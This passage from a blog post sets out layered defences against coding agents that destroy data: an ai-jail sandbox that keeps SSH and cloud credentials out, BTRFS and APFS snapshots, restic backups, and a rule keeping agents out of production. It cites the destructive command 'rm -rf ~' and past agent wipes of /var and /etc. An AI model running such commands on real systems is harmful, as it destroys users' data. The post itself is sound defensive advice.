<p>ai-jail is a sandbox wrapper for coding agents. On Linux it uses <code>bwrap</code> (bubblewrap, the same foundation as Flatpak), on macOS it uses <code>sandbox-exec</code>. The idea: the process sees a filesystem that looks normal, but only the current project directory is real and persistent. The rest of <code>$HOME</code>, the sibling directories, <code>/tmp</code>, everything lives in tmpfs and evaporates when the session ends. The agent&rsquo;s state (<code>~/.claude</code>, <code>~/.codex</code> etc) is mounted for real so it stays logged in and configured, but <code>~/.ssh</code>, <code>~/.gnupg</code>, <code>~/.aws</code> and browser profiles never enter the jail.</p>
<p>Installing is one command:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Arch Linux</span>
</span></span><span class="line"><span class="cl">yay -S ai-jail-bin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># macOS / Linux via Homebrew</span>
</span></span><span class="line"><span class="cl">brew tap akitaonrails/tap <span class="o">&amp;&amp;</span> brew install ai-jail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># or straight from crates.io</span>
</span></span><span class="line"><span class="cl">cargo install ai-jail</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And using it is even simpler:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">cd</span> ~/Projects/my-app
</span></span><span class="line"><span class="cl">ai-jail claude       <span class="c1"># Claude Code in the jail</span>
</span></span><span class="line"><span class="cl">ai-jail codex        <span class="c1"># Codex in the jail</span>
</span></span><span class="line"><span class="cl">ai-jail --dry-run claude  <span class="c1"># shows the policy without running</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If the agent decides to run <code>rm -rf ~</code> in there, it deletes a tmpfs that was going to vanish anyway. My real home was never even mounted. For anyone starting out with YOLO mode without battle scars yet, it&rsquo;s the cheapest way to make mistakes without consequences.</p>
<h2>Layer 2: BTRFS and snapshots (the real safety net)<span class="hx:absolute hx:-mt-20" id="layer-2-btrfs-and-snapshots-the-real-safety-net"></span>
    <a href="#layer-2-btrfs-and-snapshots-the-real-safety-net" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now the main point of this post. I&rsquo;ve been advocating for YEARS that Linux users should use BTRFS instead of EXT4. I made <a href="/2023/10/19/akitando-146-protegendo-e-recuperando-dados-perdidos-git-backup-btrfs/">an entire Akitando episode about it in 2023</a>, long before coding agents existed to take the blame. The argument was the same: your data needs to survive human error. An LLM running <code>rm -rf</code> in the wrong place is just a new category of human error, outsourced.</p>
<p>Why is BTRFS superior for desktops? Copy-on-write (CoW): the filesystem never overwrites a block in place, it writes the new version to another block and updates the pointers. Checksums for data and metadata, so silent bitrot gets detected instead of quietly corrupting your file. Transparent compression. Subvolumes, which work like flexible partitions without fixed sizes. And the most valuable consequence of CoW: <strong>lightweight snapshots</strong>.</p>
<p>A BTRFS snapshot is instantaneous and costs close to zero space the moment it&rsquo;s created. It freezes the pointers to the current blocks instead of copying data. Only what diverges from that point on (new or modified blocks) starts taking up extra space. In practice you can take dozens of snapshots a day without feeling it. At this very moment my machine keeps 23 system snapshots, and the cost is the difference between them, a few gigs.</p>
<h3>Scheduling snapshots<span class="hx:absolute hx:-mt-20" id="scheduling-snapshots"></span>
    <a href="#scheduling-snapshots" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The two classic tools are <strong>Timeshift</strong> and <strong>snapper</strong>. Timeshift is the friendlier one: graphical interface, you set &ldquo;how many snapshots to keep&rdquo; per hour/day/week/month and it handles the rest. It expects the <code>@</code> (root) and <code>@home</code> subvolume layout, which is the default for most distros that install on BTRFS today. snapper (born at openSUSE) is more granular: per-subvolume configs, automatic timeline, package manager integration to snapshot before and after every install.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Timeshift: manual snapshot before a suspicious session</span>
</span></span><span class="line"><span class="cl">sudo timeshift --create --comments <span class="s2">&#34;antes de soltar o agente&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># snapper: create a config for /home and enable the timeline</span>
</span></span><span class="line"><span class="cl">sudo snapper -c home create-config /home
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now snapper-timeline.timer</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>My setup runs Timeshift on a schedule, plus <code>grub-btrfsd</code> on standby (I&rsquo;ll explain why in a moment).</p>
<h3>Recovering deleted files<span class="hx:absolute hx:-mt-20" id="recovering-deleted-files"></span>
    <a href="#recovering-deleted-files" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Here&rsquo;s the magic that everyone who lost files to an agent wishes they had. A BTRFS snapshot is browsable like a regular directory. The agent deleted your project at 3pm? The 2pm snapshot still has everything:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># with Timeshift, snapshots are mounted under /run/timeshift</span>
</span></span><span class="line"><span class="cl">sudo ls /run/timeshift/backup/timeshift-btrfs/snapshots/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># found the snapshot from before the damage? copy it back and done</span>
</span></span><span class="line"><span class="cl">sudo cp -a /run/timeshift/backup/timeshift-btrfs/snapshots/2026-07-11_14-00-01/@home/akitaonrails/Projects/meu-app ~/Projects/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>With snapper it&rsquo;s the same thing via <code>.snapshots</code> inside the subvolume, and it also has <code>snapper undochange</code> to revert specific changes between two snapshots. Recovery in seconds, no drama, no forensic tooling.</p>
<h3>What if the system won&rsquo;t even boot?<span class="hx:absolute hx:-mt-20" id="what-if-the-system-wont-even-boot"></span>
    <a href="#what-if-the-system-wont-even-boot" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>goodalexander&rsquo;s case went beyond losing files: the agent swept <code>/var</code> and <code>/etc</code> and the system became unusable, requiring an OS reinstall. With BTRFS not even that would be necessary. This is the scenario <a href="https://github.com/Antynea/grub-btrfs"target="_blank" rel="noopener">grub-btrfs</a> exists for: a daemon that watches your snapshots and regenerates the GRUB menu with a boot entry for each one.</p>
<p>System won&rsquo;t come up anymore? Reboot, hold the GRUB menu, pick &ldquo;snapshots&rdquo; and boot straight into yesterday&rsquo;s snapshot, read-only. From inside it, run <code>timeshift --restore</code>, pick the good snapshot, reboot again. Entire system back to its pre-disaster state, in less time than it would take you to find the installation USB stick. In the absolute worst case (GRUB itself went down with the ship), any live USB mounts the BTRFS partition, points the default subvolume back to the good snapshot and that&rsquo;s that.</p>
<h3>What about macOS? And Windows?<span class="hx:absolute hx:-mt-20" id="what-about-macos-and-windows"></span>
    <a href="#what-about-macos-and-windows" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Mac users have the direct equivalent: <strong>APFS</strong>, the default filesystem since High Sierra (2017), is also copy-on-write and also has lightweight snapshots. Time Machine is what manages them: with it enabled, macOS takes automatic local snapshots every hour and keeps the last 24 hours on the disk itself, independent of the external backup. And you can create one by hand before letting the agent loose:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># create an APFS local snapshot right now</span>
</span></span><span class="line"><span class="cl">tmutil localsnapshot
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># list the existing snapshots</span>
</span></span><span class="line"><span class="cl">tmutil listlocalsnapshots /</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>To recover, open Time Machine itself (&ldquo;Browse Time Machine Backups&rdquo; in the menu bar): it browses the local snapshots even without any external disk plugged in, and you restore the file from there. If you prefer the terminal, mount the snapshot read-only with <code>mount_apfs -s</code> and copy it back. In other words, Matt Shumer&rsquo;s case from the beginning of this post had a native solution on his own Mac: a snapshot from one hour earlier would have brought almost everything back.</p>
<p>On Windows the story is weaker. NTFS has the Volume Shadow Copy service (VSS), which feeds restore points and the &ldquo;Previous Versions&rdquo; tab, but it&rsquo;s aimed at system files and rarely happens to be covering your data at the moment you need it. Nothing with the lightness and predictability of a scheduled CoW snapshot. If you develop on Windows, treat external backup as mandatory, no discussion (and the restic from the next section runs fine on Windows).</p>
<h2>Layer 3: external backups with restic<span class="hx:absolute hx:-mt-20" id="layer-3-external-backups-with-restic"></span>
    <a href="#layer-3-external-backups-with-restic" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Snapshots live on the same disk as the data. If the NVMe dies, they die together. Which is the other thing I&rsquo;ve been repeating for years: <strong>everybody needs external backups</strong>, whether to an external hard drive or a NAS. I use a Synology on the local network, mounted via NFS, and <a href="/en/2025/04/17/configuring-my-synology-nas-with-nfs-on-linux/">documented the complete setup here</a>.</p>
<p>On top of it runs <a href="https://restic.net/"target="_blank" rel="noopener">restic</a>, which in my opinion is the best backup tool for this purpose: deduplication, encryption, incremental snapshots and simple restores. My actual configuration is a script fired by a systemd timer every day at 3am. It checks the NAS is mounted, backs up <code>/home</code> and <code>/mnt/data/Projects</code> skipping caches (<code>node_modules</code>, Rust&rsquo;s <code>target/</code>, <code>__pycache__</code> and friends, all in an excludes file), and then applies the retention policy: 7 daily, 4 weekly, 6 monthly, 1 yearly.</p>
<p>Reproducing the essentials looks like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># once: create the repository on the NAS</span>
</span></span><span class="line"><span class="cl">restic init --repo /mnt/nas/desktop-backup
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># every day (via cron or a systemd timer):</span>
</span></span><span class="line"><span class="cl">restic -r /mnt/nas/desktop-backup backup ~ /mnt/data/Projects <span class="se">\
</span></span></span><span class="line"><span class="cl">    --exclude-file<span class="o">=</span>~/.config/restic/excludes --exclude-caches
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">restic -r /mnt/nas/desktop-backup forget <span class="se">\
</span></span></span><span class="line"><span class="cl">    --keep-daily <span class="m">7</span> --keep-weekly <span class="m">4</span> --keep-monthly <span class="m">6</span> --keep-yearly <span class="m">1</span> --prune</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And if the truly bad day arrives (destructive agent, dead disk, ransomware, the cause doesn&rsquo;t matter):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># list the available snapshots</span>
</span></span><span class="line"><span class="cl">restic -r /mnt/nas/desktop-backup snapshots
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># restore a specific file or directory</span>
</span></span><span class="line"><span class="cl">restic -r /mnt/nas/desktop-backup restore latest <span class="se">\
</span></span></span><span class="line"><span class="cl">    --target /tmp/recuperado --include /home/akitaonrails/Projects/meu-app
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># or mount the whole repository as a filesystem and browse at your leisure</span>
</span></span><span class="line"><span class="cl">restic -r /mnt/nas/desktop-backup mount /mnt/restic</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Notice the layered architecture: the BTRFS snapshot solves the accident from minutes ago in seconds. restic solves the disaster from days ago, including dead hardware. An AI agent would have to be very dedicated to punch through both layers, and even then there would still be yesterday&rsquo;s copy on the NAS, which it can&rsquo;t even reach.</p>
<h2>What about companies? Professionalism<span class="hx:absolute hx:-mt-20" id="what-about-companies-professionalism"></span>
    <a href="#what-about-companies-professionalism" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Everything above is about my personal machine. Now let&rsquo;s raise the bar: corporate environments.</p>
<p>Rule number one is simple and non-negotiable: <strong>no AI agent should ever have access to production. Ever.</strong> No direct SSH into production servers, no production database credentials, no admin tokens for production services. If your agent can run a <code>DELETE</code> against the database that serves customers, the problem stopped being the AI a long time ago: any intern with the same access is the same time bomb, just with a slower typing speed.</p>
<p>Agents in <strong>staging</strong>, on the other hand, I advocate for. That&rsquo;s what staging is for. But even in staging there&rsquo;s a right way: you resist the temptation of prompting one-shot actions (&ldquo;run an <code>apt install</code> over there&rdquo;, &ldquo;do a <code>systemctl restart</code>&rdquo;, &ldquo;connect to postgres and execute this&rdquo;). A loose command executed by hand is knowledge that evaporates. Your infrastructure needs to be automated and reproducible: Ansible, Kubernetes, Terraform, whatever makes sense for your stack. The agent&rsquo;s role becomes writing and refining those recipes, which live versioned in git.</p>
<h3>A small example, right here from my desk<span class="hx:absolute hx:-mt-20" id="a-small-example-right-here-from-my-desk"></span>
    <a href="#a-small-example-right-here-from-my-desk" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I have a gaming environment on my main PC, but I refuse to mix emulator packages with my software development environment. So I isolated gaming inside a <a href="https://github.com/89luca89/distrobox"target="_blank" rel="noopener">distrobox</a>. For those who don&rsquo;t know it: distrobox creates containers (via podman or docker) that integrate with your desktop as if they were native. They share your home (or a dedicated home), GPU access, Wayland, audio. In practice it&rsquo;s a complete distro inside your distro, with a separate package space.</p>
<p><a href="https://github.com/akitaonrails/distrobox-gaming"target="_blank" rel="noopener">distrobox-gaming</a> is a repository of Ansible playbooks that builds an Arch box called <code>gaming</code> from scratch: ES-DE as the frontend, standalone emulators (shadPS4, RPCS3, PCSX2, Dolphin, DuckStation, Eden and a dozen more), RetroArch cores, per-game optimized configs, launcher shortcuts on the host. And <a href="https://github.com/akitaonrails/distrobox-llm"target="_blank" rel="noopener">distrobox-llm</a> does the same for a local LLM work box: CUDA, cuDNN, Ollama, whisper.cpp and LM Studio isolated in a box with <code>--nvidia</code>, while the host only carries the driver. A CUDA major version upgrade no longer rattles my development environment.</p>
<p>Who wrote the overwhelming majority of these playbooks? The agents. Instead of asking &ldquo;install RPCS3 for me&rdquo;, my prompt is &ldquo;write the idempotent Ansible recipe that installs and configures RPCS3, run it, verify the result and fix it until it passes&rdquo;. Here&rsquo;s a real excerpt from the role that creates the LLM box:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl">- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Check if distrobox exists</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ansible.builtin.shell</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;distrobox list 2&gt;/dev/null | awk &#39;{print $3}&#39; | grep -qx {{ dl_box_name }}&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">register</span><span class="p">:</span><span class="w"> </span><span class="l">_box_exists</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">changed_when</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">failed_when</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl">- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Create distrobox</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ansible.builtin.command</span><span class="p">:</span><span class="w"> </span><span class="p">&gt;-</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">    distrobox create
</span></span></span><span class="line"><span class="cl"><span class="sd">    --name {{ dl_box_name }}
</span></span></span><span class="line"><span class="cl"><span class="sd">    --image {{ dl_image }}
</span></span></span><span class="line"><span class="cl"><span class="sd">    --home {{ dl_box_home }}
</span></span></span><span class="line"><span class="cl"><span class="sd">    {{ &#39;--nvidia&#39; if dl_nvidia_enabled else &#39;&#39; }}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">when</span><span class="p">:</span><span class="w"> </span><span class="l">_box_exists.rc != 0</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Idempotent: it checks whether the box exists before creating it, running it twice gives the same result. If my PC catches fire tomorrow, I recreate both environments in full with one <code>ansible-playbook site.yml</code> in each repo. The knowledge lives in the recipe, versioned, auditable. Zero commands lost in shell history.</p>
<h3>Scaling the same principle to production<span class="hx:absolute hx:-mt-20" id="scaling-the-same-principle-to-production"></span>
    <a href="#scaling-the-same-principle-to-production" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>At a company, swap distrobox for Kubernetes and the principle is identical. The agent writes the manifest, tests it on the staging cluster, you promote it to production manually:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">apps/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Deployment</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">minha-api</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">replicas</span><span class="p">:</span><span class="w"> </span><span class="m">3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">selector</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">matchLabels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">minha-api</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">template</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">minha-api</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">containers</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">minha-api</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">registry.exemplo.com/minha-api:v42</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">readinessProbe</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="nt">httpGet</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">              </span><span class="nt">path</span><span class="p">:</span><span class="w"> </span><span class="l">/healthz</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">              </span><span class="nt">port</span><span class="p">:</span><span class="w"> </span><span class="m">8080</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">resources</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="nt">limits</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">              </span><span class="nt">memory</span><span class="p">:</span><span class="w"> </span><span class="l">512Mi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The professional flow: the agent produces and adjusts the manifest (or the Helm chart, or the Terraform module), applies it to staging (<code>kubectl apply -n staging</code>), runs the tests, watches for side effects, bugs, unintended behavior, and iterates until you&rsquo;re satisfied. Then YOU, a human, promote it to production (via a reviewed PR in a GitOps flow, or a manual and deliberate <code>kubectl apply</code>), monitoring every step. The agent did all the heavy lifting: the artifacts, the procedures, the checklists. You can even ask it to generate the audit documentation at the end. But the finger that presses the production button has a name on a payroll.</p>
<h3>Even the &ldquo;simple&rdquo; maintenance SQL<span class="hx:absolute hx:-mt-20" id="even-the-simple-maintenance-sql"></span>
    <a href="#even-the-simple-maintenance-sql" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A case that looks harmless and bothers me a lot: maintenance SQL commands in production. Plenty of people have always run those by hand, straight into the production client, and are now asking the agent to write AND execute them. That is unacceptable, with or without AI. Your system should have a <strong>migrations</strong> workflow: the change becomes versioned code, runs in staging first, gets validated, and only then executes in production inside the normal deploy process.</p>
<p>And &ldquo;production&rdquo;, by definition, means two things many companies pretend to have. First: real backups, tested, with rehearsed restores.</p>
<blockquote>
  <p>Never run anything in production that you can&rsquo;t recover from.</p>

</blockquote>
<p>Second: monitoring. If you have no visibility into the state of the system, you don&rsquo;t have production, you have a server plugged into an outlet and a prayer.</p>
<h2>Monitoring: even on my humble PC<span class="hx:absolute hx:-mt-20" id="monitoring-even-on-my-humble-pc"></span>
    <a href="#monitoring-even-on-my-humble-pc" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>And monitoring is so much a part of the discipline that I apply it even to my personal machine. I recently developed a system health widget for my <a href="https://github.com/akitaonrails/clock-tui"target="_blank" rel="noopener">clock-tui</a> (my maintained fork of the original clock-tui, with command widgets in clock mode). It sits open in a corner showing this:</p>
